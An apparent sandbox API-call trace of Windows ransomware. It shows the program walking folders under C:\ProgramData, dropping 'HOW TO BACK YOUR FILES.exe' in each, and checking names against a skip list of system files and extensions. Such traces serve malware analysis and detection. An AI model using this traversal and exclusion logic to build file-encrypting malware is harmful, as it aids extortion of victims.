	[0050.669] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0050.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0050.669] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 78
	[0050.669] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages"
	[0050.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.675] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.675] GetLastError () returned 0x0
	[0050.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.675] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.675] CloseHandle (hObject=0x15c) returned 1
	[0050.675] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.676] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.676] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.676] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.676] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.676] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.676] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.676] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.676] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.676] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.676] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.676] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.676] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.676] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="Apollon865.txt.exe") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2=".") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="..") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="windows") returned -1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="bootmgr") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="temp") returned -1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="pagefile.sys") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="boot") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="ids.txt") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="ntuser.dat") returned 1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="perflogs") returned -1
	[0050.676] lstrcmpiW (lpString1="Patch", lpString2="MSBuild") returned 1
	[0050.676] lstrlenW (lpString="Patch") returned 5
	[0050.676] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned 80
	[0050.676] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Patch" | out: lpString1="Patch") returned="Patch"
	[0050.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0050.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x5c8f30
	[0050.677] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7a90
	[0050.677] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
	[0050.677] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.677] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0050.677] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0050.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0050.677] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0050.677] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 84
	[0050.677] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch"
	[0050.677] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.677] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.677] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.677] GetLastError () returned 0x0
	[0050.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.678] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.678] CloseHandle (hObject=0x15c) returned 1
	[0050.678] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.678] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.678] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.678] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.678] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.678] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.678] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6aaf30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.678] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.678] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.678] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.678] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.678] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6aaf30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6aaf30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.678] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.678] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="Apollon865.txt.exe") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2=".") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="..") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="windows") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="bootmgr") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="temp") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="pagefile.sys") returned 1
	[0050.678] lstrcmpiW (lpString1="x64", lpString2="boot") returned 1
	[0050.679] lstrcmpiW (lpString1="x64", lpString2="ids.txt") returned 1
	[0050.679] lstrcmpiW (lpString1="x64", lpString2="ntuser.dat") returned 1
	[0050.679] lstrcmpiW (lpString1="x64", lpString2="perflogs") returned 1
	[0050.679] lstrcmpiW (lpString1="x64", lpString2="MSBuild") returned 1
	[0050.679] lstrlenW (lpString="x64") returned 3
	[0050.679] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned 86
	[0050.679] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="x64" | out: lpString1="x64") returned="x64"
	[0050.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0050.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.679] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7a90
	[0050.679] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0050.679] FindClose (in: hFindFile=0x5ca550 | out: hFindFile=0x5ca550) returned 1
	[0050.679] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0050.679] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0050.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.679] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0050.679] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 88
	[0050.679] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64" | out: lpString1="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64"
	[0050.679] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.679] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.680] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.680] GetLastError () returned 0x0
	[0050.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.680] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.680] CloseHandle (hObject=0x15c) returned 1
	[0050.680] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.680] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.680] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.680] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.680] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.680] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.680] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.680] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.680] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.680] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.680] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.680] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.680] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.680] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
	[0050.680] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.680] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="Apollon865.txt.exe") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="..") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="windows") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="bootmgr") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="temp") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="pagefile.sys") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="boot") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ids.txt") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="ntuser.dat") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="perflogs") returned 1
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="MSBuild") returned 1
	[0050.681] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.681] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned 90
	[0050.681] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Windows6.1-KB2999226-x64.msu" | out: lpString1="Windows6.1-KB2999226-x64.msu") returned="Windows6.1-KB2999226-x64.msu"
	[0050.681] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.681] lstrlenW (lpString="Apollon865") returned 10
	[0050.681] lstrcmpiW (lpString1="26-x64.msu", lpString2="Apollon865") returned -1
	[0050.681] lstrlenW (lpString=".dll") returned 4
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".dll") returned 1
	[0050.681] lstrlenW (lpString=".lnk") returned 4
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".lnk") returned 1
	[0050.681] lstrlenW (lpString=".ini") returned 4
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".ini") returned 1
	[0050.681] lstrlenW (lpString=".sys") returned 4
	[0050.681] lstrcmpiW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2=".sys") returned 1
	[0050.681] lstrlenW (lpString="Windows6.1-KB2999226-x64.msu") returned 28
	[0050.681] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Oracle", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle"
	[0050.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7fb0 | out: hHeap=0x580000) returned 1
	[0050.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0050.681] lstrlenW (lpString="C:\\ProgramData\\Oracle") returned 21
	[0050.682] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Oracle" | out: lpString1="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle"
	[0050.682] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.682] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.682] GetLastError () returned 0x0
	[0050.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.682] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.682] CloseHandle (hObject=0x15c) returned 1
	[0050.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
